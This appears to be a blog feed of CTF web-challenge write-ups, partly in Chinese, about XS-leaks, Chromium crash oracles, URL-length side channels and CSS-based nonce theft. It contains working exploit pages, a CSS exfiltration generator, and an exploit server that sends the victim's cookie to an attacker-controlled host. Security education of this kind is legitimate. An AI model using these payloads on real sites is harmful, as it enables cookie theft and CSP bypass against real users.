<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>another-csp</title> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'"></head><body> <iframe id="sandbox" name="sandbox" sandbox></iframe></body><script> document.getElementById('form').onsubmit = e => { e.preventDefault(); const code = document.getElementById('code').value; const token = localStorage.getItem('token') ?? '0'.repeat(6); const content = `<h1 data-token="${token}">${token}</h1>${code}`; document.getElementById('sandbox').srcdoc = content; }</script></html>
You can insert any code into the iframe, with the goal of stealing the token from the same webpage.
The key point is that the iframe’s sandbox is strict, as well as the Content Security Policy (CSP). From these two clues, we can deduce the following restrictions:
defeault-src 'none'
, which prohibits the inclusion of any external resources.sandbox
, which means that no JavaScript can be executed and no redirection can be done through meta tags.With JavaScript disabled, the attack surface is greatly reduced, so we can only work with HTML and CSS. The CSS for this challenge has unsafe-inline
enabled, so we can add CSS rules.
However, it seems that we cannot send requests to external resources. So, either we need to find a bypass (such as DNS prefetch, but it may not be applicable to this challenge), or we need to combine it with other parts of the challenge.
The operation of the bot in this challenge is different:
import { createServer } from 'http';import { readFileSync } from 'fs';import { spawn } from 'child_process'import { randomInt } from 'crypto';const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));const wait = child => new Promise(resolve => child.on('exit', resolve));const index = readFileSync('index.html', 'utf-8');let token = randomInt(2 ** 24).toString(16).padStart(6, '0');let browserOpen = false;const visit = async code => { browserOpen = true; const proc = spawn('node', ['visit.js', token, code], { detached: true }); await Promise.race([ wait(proc), sleep(10000) ]); if (proc.exitCode === null) { process.kill(-proc.pid); } browserOpen = false;}createServer(async (req, res) => { const url = new URL(req.url, 'http://localhost/'); if (url.pathname === '/') { return res.end(index); } else if (url.pathname === '/bot') { if (browserOpen) return res.end('already open!'); const code = url.searchParams.get('code'); if (!code || code.length > 1000) return res.end('no'); visit(code); return res.end('visiting'); } else if (url.pathname === '/flag') { if (url.searchParams.get('token') !== token) { res.end('wrong'); await sleep(1000); process.exit(0); } return res.end(process.env.FLAG ?? 'dice{flag}'); } return res.end();}).listen(8080);
If browserOpen
is true, we can obtain information from the response. So, when I saw the challenge, I had an idea: what would happen if we crash Chromium? Can we leak the token using this method?
For example, if we write a CSS rule like h1[data-token^="0"] { /*crash*/ }
to crash Chromium, it might speed up or slow down the execution of the bot, allowing us to determine if this selector matches.
Later, my teammate found a way to crash Chromium from the Chromium issues:
<style> h1[data-token^="a"] { --c1: color-mix(in srgb, blue 50%, red); --c2: srgb(from var(--c1) r g b); background-color: var(--c2); }</style>
In the post-competition discussion, I also saw someone in Discord posting a payload that made the webpage load extremely slowly, achieving a similar effect. This is what @Trixter posted:
<style> html:has([data-token^="a"]) { --a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1); --b: var(--a),var(--a),var(--a),var(--a),var(--a); --c: var(--b),var(--b),var(--b),var(--b),var(--b); --d: var(--c),var(--c),var(--c),var(--c),var(--c); --e: var(--d),var(--d),var(--d),var(--d),var(--d); --f: var(--e),var(--e),var(--e),var(--e),var(--e); }</style><style> *{ background-image: var(--f) }</style>
It’s somewhat similar to the Billion Laughs attack, constructing a super large payload repeatedly to slow down the speed.
After slowing down the speed, we can measure the time it takes for the webpage to load using the method mentioned earlier. If it exceeds 10 seconds, it will time out, allowing us to leak the flag.
This challenge is a modified version of a challenge I previously solved: SekaiCTF 2022 Notes and concurrent limit. Let me briefly describe the modified version.
This challenge is a classic note app. You can create new notes, but the problem is that the note content will be sanitized using DOMPurify.sanitize
, so XSS is not possible. The CSP part is default-src 'self'
, which means that requests can only be sent to the origin of the challenge.
In other words, you cannot send requests outside.
In addition to creating notes, you can also delete notes using the index of the note.
The core of this problem is the code for creating a note:
fastify.post("/create", (req, reply) => { const { text } = req.body; if (!text || typeof text !== "string") { return reply.type("text/html").send("Missing text"); } const userNotes = notes.get(req.cookies.id) ?? []; const totalLen = userNotes.reduce((prev, curr) => prev + curr.length, 0); const newLen = totalLen + text.length; if (newLen > 16384) { return reply.redirect(`/?message=Cannot add, please delete some notes first (${newLen} > 16384 chars)`); } userNotes.push(text); userNotes.sort(); notes.set(req.cookies.id, userNotes); reply.redirect("/?message=Note added successfully");});
Note the userNotes.sort();
, which sorts the notes based on their content. The format of the flag is dice{[a-z]+}
. By using this sorting feature, a simple strategy can be derived.
Assuming the flag is dice{c}
, and we first create a note with dice{a
, after creating it, we delete the first note. At this point, dice{a
will be deleted, leaving the flag dice{c}
.
If we first create a note with dice{d
, and then delete the first one, dice{c}
will be deleted, leaving the newly created dice{d
.
In other words, depending on the order of creation and deletion of notes, the note that remains will be different.
If I can know which note remains in the end, I can infer the order of the flag. If the note I created remains, it means that the flag must be at the beginning and in lexicographical order.
Therefore, the key to this problem is how to know which note remains.
Based on last year’s solution, my initial idea was to make the server side busy. Node.js is single-threaded, so it cannot handle other requests until it finishes processing one (asynchronous is a different story).
So my idea is to create a note with a bunch of <img src=/?{random_number}>
, which can send about 700-1000 requests within the word limit. By sending a bunch of requests to the server, we make the server busy.
There is another difference in this problem, which is the bot:
const visit = async (url) => { // clear all data await fsp.rm(tmpDir, { recursive: true, force: true }); let browser; try { browser = await launchBrowser(); let page = await browser.newPage(); // set flag await page.goto("http://localhost:3000", { timeout: 7500, waitUntil: "networkidle2" }); await sleep(2000); await page.evaluate((flag) => { document.querySelector("input[type=text]").value = flag; document.querySelector("form[action='/create']").submit(); }, FLAG); await page.waitForNavigation({ waitUntil: "networkidle2" }); // restart browser, which should close all windows await browser.close(); browser = await launchBrowser(); page = await browser.newPage(); // go to the submitted site await page.goto(url, { timeout: 7500, waitUntil: "networkidle2" }) // restart browser, which should close all windows await browser.close(); browser = await launchBrowser(); page = await browser.newPage(); // check on notes now that all other windows are closed await page.goto("http://localhost:3000", { timeout: 7500, waitUntil: "networkidle2" }); await sleep(8000); await page.evaluate(() => { document.querySelector("form[action='/view']").submit(); }); await page.waitForNavigation({ waitUntil: "networkidle2" }); await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); }};
After accessing the URL we provided, the bot visits the /view
page. Therefore, we cannot measure the time from the browser this time, but we have to measure it from our local machine. If the idea mentioned earlier is correct, the server response time should be slower.
But after trying for about three or four hours, I found that it didn’t work.
There are two reasons for this. First, the server processing speed is too fast. I tested sending 500 requests to localhost, and it took about 400ms to process them. Second, it is difficult to capture the time interval. It is difficult to grasp the time when the bot visits /view
.
In short, I couldn’t find a stable solution after trying for a long time, so I had to give up.
At this point, I shifted my focus to this part when adding a new note:
const newLen = totalLen + text.length;if (newLen > 16384) { // case 1 return reply.redirect(`/?message=Cannot add, please delete some notes first (${newLen} > 16384 chars)`);}userNotes.push(text);userNotes.sort();notes.set(req.cookies.id, userNotes);// case2reply.redirect("/?message=Note added successfully");
If the note length exceeds 16384, it will be redirected to /?message=Cannot add, please delete some notes first
. Otherwise, it will be redirected to /?message=Note added successfully
. In other words, if we can detect which one it is redirected to, we can use a similar method to leak the flag.
I had an idea to guess that the browser should have a limit on the length of the URL. I tried to construct an excessively long URL that would exceed the limit when redirected to /?message=Cannot add, please delete some notes first
, but not when redirected to /?message=Note added successfully
.
But the problem is that we cannot control the length of the path. So how can we make the URL longer?
I tried with the username, for example: http://${'a'.repeat(1000000)}}:pwd@localhost:3000
, and surprisingly, it worked!
You can see the details in the following PoC:
<!DOCTYPE html><html><body> <form id=f method="POST" target="winForm"> <input id=inp name="text" value=""> </form> <script> fetch('/hang') win = window.open('about:blank', 'winForm') const TARGET = 'http://'+ 'a'.repeat(2097050) + ':def@localhost:3000' f.action = TARGET + '/create' inp.value = 'a'.repeat(2) f.submit() let count = 0 setInterval(() => { fetch('/timeout'+count) count++ try { let r = win.location.href fetch('/?r=' + r) } catch(err) { fetch('/err') } }, 500) </script></body></html>
When I created a note with a length of only 2, the URL was within the limit, so the new page was opened normally, and accessing win.location.href
triggered a cross-origin error.
But when I created a note with a length of 20000, the redirected page had a URL that was too long, causing an error, and the newly opened page became about:blank
, without triggering an error.
Therefore, it is indeed possible to determine whether the note has been successfully created by the length of the URL.
The final exploit is as follows:
<!DOCTYPE html><html><body> <form id=f method="POST" target="winForm"> <input id=inp name="text" value=""> </form> <form id=f_delete action="http://localhost:3000/remove" method="POST" target="_blank"> <input name="index" value="0"> </form> <form id=f_create action="http://localhost:3000/create" method="POST" target="_blank"> <input id=inp2 name="text" value=""> </form> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)) fetch('/hang') win = window.open('about:blank', 'winForm') f.action = 'http://'+ 'a'.repeat(2097050) + ':def@localhost:3000' + '/create' let count = 0 setInterval(() => { fetch('/ping_' + count) count++ }, 100) // abcdefghijklmnopqrstuvwxyz async function main() { // step1. create note let testPayload = 'dice{xs' fetch('/step_1_start') inp2.value = testPayload + 'z'.repeat(10000) f_create.submit() await sleep(500) fetch('/step_1_end') // step2. delete first note fetch('/step_2_start') f_delete.submit() await sleep(500) fetch('/step_2_end') // step3. leak fetch('/step_3_start') inp.value = 'a'.repeat(10000) f.submit() fetch('/step_3_end') let count = 0 setInterval(() => { fetch('/timeout'+count) count++ try { let r = win.location.href fetch('/?r=' + r) } catch(err) { fetch('/err') } // err: payload is before flag // dice{azzz // dice{flag} // about:blank, payload is after flag // dice{flag} // dice{fzzzz} }, 200) } main() </script></body></html>
By submitting once, you can determine whether the flag’s order is before or after a certain character. By using binary search, you can approximately determine the result after about 6 submissions. Each submission requires a 30-second wait, so it takes a total of 3 minutes. Since I didn’t automate it, I manually leaked the information slowly.
It took about 40 minutes to obtain the flag, but this was actually unintended.
Taking note of the expected solution posted by strellic in Discord, it involves using the background fetch API:
First of all, I didn’t solve this challenge and didn’t have time to look into it. The following is written based on the author’s solution.
This challenge is also similar to a classic note app where you can register a new account and create notes, with the ability to upload an image during creation.
Let’s start with the bot part:
const puppeteer = require("puppeteer");const crypto = require("crypto");const sleep = (ms) => new Promise(r => setTimeout(r, ms));const visit = async (url) => { const user = crypto.randomBytes(16).toString("hex"); const pass = crypto.randomBytes(32).toString("hex"); let browser; try { browser = await puppeteer.launch({ headless: "new", pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless", ], dumpio: true }); const context = await browser.createIncognitoBrowserContext(); const page = await context.newPage(); await page.goto("http://localhost:3000/register", { timeout: 5000, waitUntil: 'domcontentloaded' }); // create new account await page.waitForSelector("button[type=submit]"); await page.type("input[placeholder='Username']", user); await page.type("input[placeholder='Password']", pass); await page.click("button[type=submit]"); await sleep(3000); // create paste with flag await page.type("input[placeholder='Title']", "Flag"); await page.type("textarea[placeholder='Paste contents']", "Flag"); const imgUpload = await page.$("input[type=file]"); await imgUpload.uploadFile("./flag.png"); await page.click("button[type=submit]"); await sleep(3000); // go to exploit page await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' }); await sleep(30_000); await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); } return user;};module.exports = { visit };
It randomly generates a set of username and password, registers, uploads the flag as an image, and then visits our webpage. So the goal is to steal this image to obtain the flag.
When displaying the note in the frontend, it uses secure display methods, so it’s not possible to inject HTML, etc. Therefore, we need to find another way, and uploading files seems suspicious:
fastify.route({ method: 'POST', path: '/api/create', onRequest: requiresLogin, handler: async (req, res) => { const body = Object.fromEntries( Object.keys(req.body).map((key) => [key, req.body[key].value]) ); const { title, text } = body; if (typeof title !== "string" || typeof text !== "string") { throw new Error("Title or text must be string"); } if (title.length > 32 || text.length > 512) { throw new Error("Title or text too long"); } const id = crypto.randomBytes(8).toString("hex"); const paste = { id, title, text }; if (req.body.file) { const filename = sanitizeFilename(req.body.file.filename.slice(0, 64), "-"); const ext = filename.slice(filename.lastIndexOf(".")); if (![".png", ".jpeg", ".jpg"].includes(ext)) { throw new Error("Invalid file format for image"); } const buffer = await req.body.file.toBuffer(); try { await fsp.mkdir(path.join(__dirname, 'public', 'uploads', req.user.user)); } catch {} try { await fsp.writeFile(path.join(__dirname, 'public', 'uploads', req.user.user, filename), buffer); } catch {} paste.image = `${req.user.user}/${filename}`; } req.user.pastes.push(paste); return { success: true }; }});
When uploading a file, it checks if it ends with .png
, .jpeg
, or .jpg
. If not, it throws an error. Although it seems that only images can be uploaded, if the uploaded file has a .png
filename, in the old version of fastify static, there won’t be a mimetype, and this challenge doesn’t prohibit mime sniffing, so HTML or CSS files can be uploaded.
By the way, the CSP for this challenge is as follows:
fastify.addHook('onRequest', (req, res, done) => { if (req.session.get("username") && users.has(req.session.get("username"))) { req.user = users.get(req.session.get("username")); } res.header("Content-Security-Policy", ` script-src 'sha256-BCut0I6hAnpHxUpwpaDB1crwgr249r2udW3tkBGQLv4=' 'unsafe-inline'; img-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com/css2; font-src https://fonts.gstatic.com/s/inter/; frame-ancestors 'none'; object-src 'none'; base-uri 'none'; `.trim().replace(/\s+/g, " ")); res.header("Cache-Control", "no-cache, no-store"); res.header("X-Frame-Options", "DENY"); done();});
Although it seems that script-src
has unsafe-inline
, it doesn’t actually work. If you try it, you will encounter the following error:
refused to execute inline script because it violates the following Content Security Policy directive:"script-src 'sha256-BCut0I6hAnpHxUpwpaDB1crwgr249r2udW3tkBGQLv4=' 'unsafe-inline'". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
Therefore, the only JavaScript that can be used in this challenge is what was originally provided, and everything else needs to be done with CSS.
Using a technique from another challenge previously released by the author, by using dom clobbering defaultView to determine which page the client router should render, it is possible to inject HTML and CSS into any page. For more details, you can refer to my write-up: corCTF 2022 writeup - modernblog.
We need to first obtain the post ID that will appear in /home
, and then obtain the image path that will appear in /view/:id
to retrieve the flag. The length of this post ID is 16 characters, with each character ranging from 0 to f. The challenge is that this post ID is updated with each request.
fastify.route({ method: 'GET', path: '/api/pastes', onRequest: requiresLogin, handler: (req, res) => { req.user.pastes.forEach(p => p.id = crypto.randomBytes(8).toString("hex")); return req.user.pastes.map(({ id, title }) => ({ id, title })); }});
The author’s solution is to use CSS + iframe to leak information from the page. If we only need to leak one character, we can use the width and height, like this:
<style> body:has(a[href^="/view/1"]) iframe { width: 1px; } body:has(a[href^="/view/2"]) iframe { width: 2px; }</style>
Since there is no frame-src in the CSP, this iframe will be from our origin, and we can use window.innerWidth
to determine the width and thus the first character.
However, the problem is that the ID changes with each request, so we must obtain all the characters within one request, otherwise the ID will be different.
If we want to leak multiple characters at once, one way is to use the technique mentioned in 0CTF 2023, or another way is recursive import, but this usually requires its own server to work.
The author, however, solved the latter problem by utilizing the connection pool limit. The connection pool appears frequently in CTF challenges. In simple terms, it fills up all 255 connections in Chromium, allowing control over when the next resource is loaded.
The approach is as follows:
.jpg
), which will leak the first character and import .png
.The concept should be like this, but there seem to be many implementation details to consider, making it more complex. You can refer to the author’s solution provided at the end for more details.
After leaking the ID, we can proceed to leak the image path in the same way.
However, the crucial point is the view note page, which automatically sends a request to delete the image. If an error occurs, an alert
will be triggered.
import React from "react";import { Link, useParams, useNavigate } from "react-router-dom";import axios from 'axios';export default function View() { const { id } = useParams(); const navigate = useNavigate(); const [paste, setPaste] = React.useState(null); React.useEffect(() => { (async () => { try { const r = await axios.get(`/api/paste/${id}`); if (r.data) { setPaste(r.data); if (!r.data.image) { await deletePaste(r.data.id); } } } catch (e) { alert(e?.response?.data?.message || e.message); navigate("/home"); } })(); }, []); const deletePaste = async (id) => { try { await axios.get(`/api/destroy/${id}`); } catch (e) { alert(e?.response?.data?.message || e.message); navigate("/home"); } }; if (!paste) { return <></> } return ( <> <h3>{paste.title}</h3> { paste.image && ( <img src={`/uploads/${paste.image}`} onLoad={() => deletePaste(paste.id)} onError={() => deletePaste(paste.id)} className="mw-100" /> )} <div style={{ whiteSpace: "pre-line" }} className="mb-2">{paste.text}</div> <Link to="/home">← Back</Link> </> );}
We can use the CSP connect-src
meta tag to block the request to delete the image and use the sandbox
attribute of the iframe to prevent the modal from popping up.
But I think the most difficult part of this challenge is to complete everything within 30 seconds. This means that each step must be automated, which is really challenging.
Below is the solution provided by the author strellic, and the above explanation is based on their solution:
window.open
to get a window reference, then repeatedly read w.frames[0].innerWidth
.style-src
is set to self
, so we can’t stall the next CSS file - or can we?type="module"
from the script tag so it doesn’t block, and move it to the body. Additionally, we have to start the initial CSS request in a style tag (which is why unsafe-inline
is there), otherwise it blocks.connect-src
to stop it from requesting the destroy endpoint.srcdoc
that doesn’t allow modals.I have been busy with other things lately and haven’t been doing CTF for a while. I feel a bit rusty, but I’m really happy to have solved safestlist. It means my skills haven’t deteriorated too much XD
In addition, this post is also an update after a two-month gap. It is the first post of 2024. Although it’s a bit late, I still want to wish all readers a happy new year.
]]>關鍵字列表:
題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:
load = () => { document.getElementById("title").innerHTML = "" document.getElementById("content").innerHTML = "" const param = new URLSearchParams(location.hash.slice(1)); const id = param.get('id'); let username = param.get('username'); if (id && /^[0-9a-f]+$/.test(id)) { if (username === null) { fetch(`/share/read/${id}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } else { fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } document.getElementById("report").href = `/report?id=${id}&username=${username}`; } window.removeEventListener('hashchange', load);}load();window.addEventListener('hashchange', load);
這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。
而 CSP 的部份如下:
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。
admin bot 的部份只能訪問 /share/read
,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:
await page.goto( `http://localhost/share/read#id=${id}&username=${username}`, { timeout: 5000 });await new Promise((resolve) => setTimeout(resolve, 30000));await page.close();
對了,flag 在 cookie 裡面,所以目標是 XSS。
其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。
但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用 <meta>
redirect 到自己的 server,再用 window.open
去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。
總之呢,流程如下:
<meta http-equiv="refresh" content="0;URL=https://my_server">
,id 是 0<style>@import "https://unpkg.com/pkg/steal.css"</style>
,id 是 1w = window.open(note_1)
,開始偷 nonce<script nonce=xxx></script>
,id 為 2w.location = '.../share/read#id=2'
這之中最麻煩的部分就在於用 CSS 偷 nonce 了。
我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。
由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用 @import
加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。
另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk
這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:
script[nonce*="aaa"]{--aaa:url("https://server/leak?q=aaa")}script[nonce*="aab"]{--aab:url("https://server/leak?q=aab")}...script[nonce*="ZZZ"]{--ZZZ:url("https://server/leak?q=ZZZ")}script{ display: block; background-image: -webkit-cross-fade( var(--aaa, none), -webkit-cross-fade( var(--aab, none), var(--ZZZ, none), 50% ), 50% )
用 -webkit-cross-fade
是為了要載入多個圖片,細節可以參考上面貼的文章。
例如說 nonce 是 abc123 好了,server 就會收到:
這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。
用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。
剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。
這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。
const fs = require('fs')let chars = 'abcdefghijklmnopqrstuvwxyz0123456789'const host = 'https://ip.ngrok-free.app'let arr = []for(let a of chars) { for(let b of chars) { for(let c of chars) { let str = a+b+c; arr.push(str) } }}let payload1 = ''let crossPayload1 = 'url("/")'let payload2 = ''let crossPayload2 = 'url("/")'let payload3 = ''let crossPayload3 = 'url("/")'const third = Math.floor(arr.length / 3);const arr1 = arr.slice(0, third); const arr2 = arr.slice(third, 2 * third); const arr3 = arr.slice(2 * third); for(let str of arr1) { payload1 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload1 = `-webkit-cross-fade(${crossPayload1}, var(--${str}, none), 50%)`}for(let str of arr2) { payload2 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload2 = `-webkit-cross-fade(${crossPayload2}, var(--${str}, none), 50%)`}for(let str of arr3) { payload3 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n` crossPayload3 = `-webkit-cross-fade(${crossPayload3}, var(--${str}, none), 50%)`}payload1 = `${payload1} script{display:block;} script{background-image: ${crossPayload1}}`payload2 = `${payload2}script:after{content:'a';display:block;background-image:${crossPayload2} }`payload3 = `${payload3}script:before{content:'a';display:block;background-image:${crossPayload3} }`fs.writeFileSync('exp1.css', payload1, 'utf-8');fs.writeFileSync('exp2.css', payload2, 'utf-8');fs.writeFileSync('exp3.css', payload3, 'utf-8');
接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。
寫得滿亂的有點懶得整理,但基本上跑起來以後訪問 /start
就會開始自動跑整個流程。
這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆
import express from 'express'import {fetch, CookieJar} from "node-fetch-cookies";const app = express()const port = 3000const host = 'http://new-diary.ctf.0ops.sjtu.cn'const selfHost = 'https://ip.ngrok-free.app'const cssUrl = 'https://unpkg.com/your_pkg@1.0.0'const getRandomStr = len => Array(len).fill().map(_ => Math.floor(Math.random()*16).toString(16)).join('')let leaks = []let cookieJar = new CookieJar();let username = '';let hasToken = false;function mergeWords(arr, ending) { if (arr.length === 0) return ending if (!ending) { for(let i=0; i<arr.length; i++) { let isFound = false for(let j=0; j<arr.length; j++) { if (i === j) continue let suffix = arr[i][1] + arr[i][2] let prefix = arr[j][0] + arr[j][1] if (suffix === prefix) { isFound = true continue } } if (!isFound) { console.log('ending:', arr[i]) return mergeWords(arr.filter(item => item!==arr[i]), arr[i]) } } console.log('Error, please try again') return } let found = [] for(let i=0; i<arr.length; i++) { let length = ending.length let suffix = ending[0] + ending[1] let prefix = arr[i][1] + arr[i][2] if (suffix === prefix) { found.push([arr.filter(item => item!==arr[i]), arr[i][0] + ending]) } } return found.map((item) => { return mergeWords(item[0], item[1]) })}function handleLeak() { let str = '' let arr = [...leaks] leaks = [] console.log('received:', arr) const merged = mergeWords(arr, null); console.log('leaked:', merged.flat(99)) return merged.flat(99)}async function createNote(title, content){ return await fetch(cookieJar, host + '/write', { method: 'POST', headers: { 'content-type': 'application/x-www-form-urlencoded', }, body: `title=${encodeURIComponent(title)}&content=${encodeURIComponent(content)}` })}async function getNotes() { return await fetch(cookieJar, host + '/', { }).then(res => res.text())}async function share(id) { return await fetch(cookieJar, host + '/share_diary/' + id, { }).then(res => res.text())}async function report(username, id) { return await fetch(cookieJar, `${host}/report?username=${username}&id=${id}` , { }).then(res => res.text())}app.get('/', (req, res) => { res.send('Hello World!')})app.get('/start', async (req, res) => { // create ccount username = getRandomStr(8) let password = getRandomStr(8) leaks = [] hasToken = false console.log({ username, password }) const response = await fetch(cookieJar, host + '/login', { method: 'post', headers: { 'content-type': 'application/x-www-form-urlencoded' }, body: `username=${username}&password=${password}` }) const resp = await createNote('note1', `<meta http-equiv="refresh" content="0;URL=${selfHost}/exp">`) await createNote('note2', `<style>@import "${cssUrl}/exp1.css";@import "${cssUrl}/exp2.css";@import "${cssUrl}/exp3.css";</style>`) console.log('done') await share(0) await share(1) console.log('report username:', username) console.log(await report(username, 0)) res.send('done')})app.get('/leak', async (req, res) => { leaks.push(req.query.q) console.log('recevied:', req.query.q, leaks.length) if (leaks.length === 30) { const result = handleLeak() // create a new note await createNote( 'note3', result.map(nonce => `<iframe srcdoc="<script nonce=${nonce}>top.location='${selfHost}/flag?q='+encodeURIComponent(top.document.cookie)</script>"></iframe>`) ); await share(2) hasToken = true; console.log('note3 cteated') } res.send('ok')})app.get('/flag', (req, res) => { console.log('flag', req.query.q) res.send('flag')})app.get('/hasToken', (req, res) => { console.log('polling...', hasToken) if (hasToken) { res.send('hasToken') } else { res.send('no') }})app.get('/exp', (req, res) => { console.log('visit exp') res.setHeader('content-type', 'text/html') res.send(` <script> let w = window.open('http://localhost/share/read#id=1&username=${username}') function polling() { fetch('/hasToken').then(res => res.text()).then((res) => { if (res === 'hasToken') { w.location = 'http://localhost/share/read#id=2&username=${username}' } }) setTimeout(() => { polling(); }, 500) } polling() </script> `)})app.listen(port, () => { console.log(`Example app listening on port ${port}`)})
話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅
]]>Keyword list:
The challenge is a typical note-taking app where you can create notes and report them to an admin bot. The notes have a length restriction but no filtering is applied. The client-side uses innerHTML directly, so HTML injection is evident:
load = () => { document.getElementById("title").innerHTML = "" document.getElementById("content").innerHTML = "" const param = new URLSearchParams(location.hash.slice(1)); const id = param.get('id'); let username = param.get('username'); if (id && /^[0-9a-f]+$/.test(id)) { if (username === null) { fetch(`/share/read/${id}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } else { fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => { const title = document.createElement('p'); title.innerText = data.title; document.getElementById("title").appendChild(title); const content = document.createElement('p'); content.innerHTML = data.content; document.getElementById("content").appendChild(content); }) } document.getElementById("report").href = `/report?id=${id}&username=${username}`; } window.removeEventListener('hashchange', load);}load();window.addEventListener('hashchange', load);
One important thing to note here is that changing the hash will load a new note, which is crucial.
As for the Content Security Policy (CSP), it is as follows:
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
Each response has a different nonce, which is 32 characters long and consists of alphanumeric characters (a-zA-Z0-9), totaling 36 possible combinations. Inline and unpkg styles are allowed for CSS since unpkg retrieves files from npm, making it equivalent to allowing any external style.
The admin bot can only access /share/read
and will stay there for 30 seconds. This timeout is likely intended to leak something over time:
await page.goto( `http://localhost/share/read#id=${id}&username=${username}`, { timeout: 5000 });await new Promise((resolve) => setTimeout(resolve, 30000));await page.close();
By the way, the flag is in the cookie, so the goal is to achieve XSS.
After reading the challenge, it seemed quite intuitive to me. It was clear that I needed to find a way to steal the nonce using CSS, create a new note after stealing the nonce, and then change the hash to load the new note, thus achieving XSS.
However, there are some small details to consider. For example, the admin bot can only access a specific note, so I needed to use <meta>
redirect to my own server first, and then use window.open
to open the new note. This way, after stealing the nonce, I could update the content by changing the hash, ensuring that the nonce remains unchanged.
In summary, the process is as follows:
<meta http-equiv="refresh" content="0;URL=https://my_server">
.<style>@import "https://unpkg.com/pkg/steal.css"</style>
.w = window.open(note_id_1)
to start stealing the nonce.<script nonce=xxx></script>
w.location = '.../share/read#id=2'
.The trickiest part in this process is stealing the nonce using CSS.
I had previously researched using CSS to steal data: Stealing Data with CSS - CSS Injection (Part 1). However, the methods mentioned in that article are not applicable to this challenge.
Due to the large number of possible nonces, the fastest way is to steal them character by character. However, this approach requires using @import
with a blocking method. In this challenge, external links are limited to unpkg, which only hosts static files and does not support this method.
Another method I recently came across but haven’t updated in my article yet is: Code Vulnerabilities Put Proton Mails at Risk
This approach is quite clever, dividing a piece of text into many small substrings, each containing three characters. We generate all permutations of three characters from a-zA-Z0-9, like this:
script[nonce*="aaa"]{--aaa:url("https://server/leak?q=aaa")}script[nonce*="aab"]{--aab:url("https://server/leak?q=aab")}...script[nonce*="ZZZ"]{--ZZZ:url("https://server/leak?q=ZZZ")}script{ display: block; background-image: -webkit-cross-fade( var(--aaa, none), -webkit-cross-fade( var(--aab, none), var(--ZZZ, none), 50% ), 50% )
Using -webkit-cross-fade
is for loading multiple images. You can refer to the article posted above for more details.
For example, if the nonce is abc123, the server will receive:
These four strings may have different orders, but as long as they are combined according to the rules, we can obtain abc123. Of course, there may be multiple combinations or uncertain beginnings and endings, but we can treat them as edge cases and try again.
By stealing the nonce in this way, for this problem, there will be 36^3 = 46656 rules, which is an acceptable length.
Coincidentally, I encountered a similar situation at work before, so I already have a script ready, just need to make some modifications.
If we apply all the rules to the same element in this problem, it seems that Chrome will crash due to too many rules (at least that’s what happened on my local machine). So I divided the rules into three parts and applied them to three different elements.
